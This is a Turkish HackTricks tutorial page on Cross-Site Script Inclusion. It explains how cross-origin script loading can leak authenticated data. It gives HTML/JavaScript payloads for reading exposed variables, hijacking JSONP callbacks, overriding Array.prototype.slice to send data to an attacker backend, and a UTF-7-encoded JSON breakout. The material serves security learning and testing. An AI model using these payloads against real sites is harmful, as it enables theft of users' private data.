XSSI (Cross-Site Script Inclusion)

Reading time: 4 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Cross-Site Script Inclusion (XSSI), HTML'deki script etiketinin doğasından kaynaklanan bir güvenlik açığıdır. Çoğu kaynağın Same-Origin Policy (SOP)'ye tabi olmasına rağmen, scriptler farklı alanlardan dahil edilebilir. Bu davranış, farklı sunucularda barındırılan kütüphanelerin ve diğer kaynakların kullanımını kolaylaştırmak için tasarlanmıştır, ancak aynı zamanda potansiyel bir güvenlik riski de taşır.

XSSI'nin Ana Özellikleri:

  • SOP'yi Aşma: Scriptler Same-Origin Policy'den muaf tutulur, bu da onların farklı alanlar arasında dahil edilmesine olanak tanır.
  • Veri Açığa Çıkma: Bir saldırgan, bu davranışı kullanarak script etiketi aracılığıyla yüklenen verileri okuyabilir.
  • Dinamik JavaScript/JSONP Üzerindeki Etki: XSSI, özellikle dinamik JavaScript veya JSON with Padding (JSONP) için geçerlidir. Bu teknolojiler genellikle kimlik doğrulama için "ambient-authority" bilgilerini (çerezler gibi) kullanır. Farklı bir ana bilgisayara script isteği yapıldığında, bu kimlik bilgileri (örneğin, çerezler) isteğe otomatik olarak dahil edilir.
  • Kimlik Doğrulama Token'ı Sızıntısı: Bir saldırgan, bir kullanıcının tarayıcısını kontrol ettikleri bir sunucudan script istemeye kandırabilirse, bu isteklere dahil olan hassas bilgilere erişebilir.

Türler

  1. Statik JavaScript - Bu, XSSI'nin geleneksel formunu temsil eder.
  2. Kimlik Doğrulama ile Statik JavaScript - Bu tür, erişim için kimlik doğrulama gerektirdiği için farklıdır.
  3. Dinamik JavaScript - İçeriği dinamik olarak üreten JavaScript'i içerir.
  4. JavaScript Olmayan - Doğrudan JavaScript içermeyen güvenlik açıklarını ifade eder.

Aşağıdaki bilgiler, https://www.scip.ch/en/?labs.20160414 adresinin bir özetidir. Daha fazla ayrıntı için kontrol edin.

Normal XSSI

Bu yaklaşımda, özel bilgiler genel olarak erişilebilir bir JavaScript dosyasına gömülmüştür. Saldırganlar, dosya okuma, anahtar kelime arama veya düzenli ifadeler gibi yöntemler kullanarak bu dosyaları tespit edebilir. Bulunduktan sonra, özel bilgileri içeren script, kötü niyetli içeriklere dahil edilerek hassas verilere yetkisiz erişim sağlanabilir. Aşağıda bir örnek istismar tekniği gösterilmektedir:

html
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script>
alert(JSON.stringify(confidential_keys[0]))
</script>

Dinamik-JavaScript-tabanlı-XSSI ve Kimlik Doğrulamalı-JavaScript-XSSI

Bu tür XSSI saldırıları, bir kullanıcının isteğine yanıt olarak gizli bilgilerin dinamik olarak script'e eklenmesini içerir. Tespit, çerezlerle ve çerez olmadan istekler göndererek ve yanıtları karşılaştırarak yapılabilir. Eğer bilgiler farklıysa, bu gizli bilgilerin varlığını gösterebilir. Bu süreç, DetectDynamicJS Burp uzantısı gibi araçlar kullanılarak otomatikleştirilebilir.

Eğer gizli veriler bir global değişkende saklanıyorsa, bu, Regular XSSI'de kullanılan benzer yöntemlerle istismar edilebilir. Ancak, eğer gizli veriler bir JSONP yanıtında yer alıyorsa, saldırganlar bilgiyi almak için geri çağırma fonksiyonunu ele geçirebilir. Bu, global nesneleri manipüle ederek veya JSONP yanıtı tarafından yürütülecek bir fonksiyon kurarak yapılabilir, aşağıda gösterildiği gibi:

html
<script>
var angular = function () {
return 1
}
angular.callbacks = function () {
return 1
}
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script
src="https://site.tld/p?jsonp=angular.callbacks._7"
type="text/javascript"></script>
html
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Küresel ad alanında yer almayan değişkenler için, prototype tamiri bazen istismar edilebilir. Bu teknik, JavaScript'in tasarımını kullanır; burada kod yorumlama, çağrılan özelliği bulmak için prototip zincirini geçmeyi içerir. Belirli fonksiyonları, örneğin Array'nin slice fonksiyonunu geçersiz kılarak, saldırganlar küresel olmayan değişkenlere erişebilir ve sızdırabilir:

javascript
Array.prototype.slice = function () {
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this)
}

Saldırı vektörleri hakkında daha fazla ayrıntı, bir listeyi sürdüren Güvenlik Araştırmacısı Sebastian Lekies tarafından bulunabilir vektörler.

Non-Script-XSSI

Takeshi Terada'nın araştırması, Non-Script dosyalarının, CSV gibi, script etiketinde kaynak olarak dahil edilerek çapraz kökenle sızdırıldığı başka bir XSSI biçimini tanıtmaktadır. Jeremiah Grossman’ın 2006 yılında tam bir Google adres defterini okumak için yaptığı saldırı ve Joe Walker’ın 2007 JSON veri sızıntısı gibi XSSI'nin tarihsel örnekleri, bu tehditlerin ciddiyetini vurgulamaktadır. Ayrıca, Gareth Heyes, belirli tarayıcılarda etkili olan JSON formatından kaçmak ve betikleri çalıştırmak için UTF-7 kodlu JSON içeren bir saldırı varyantını tanımlamaktadır:

javascript
;[
{
friend: "luke",
email:
"+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-",
},
]
html
<script
src="http://site.tld/json-utf7.json"
type="text/javascript"
charset="UTF-7"></script>

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin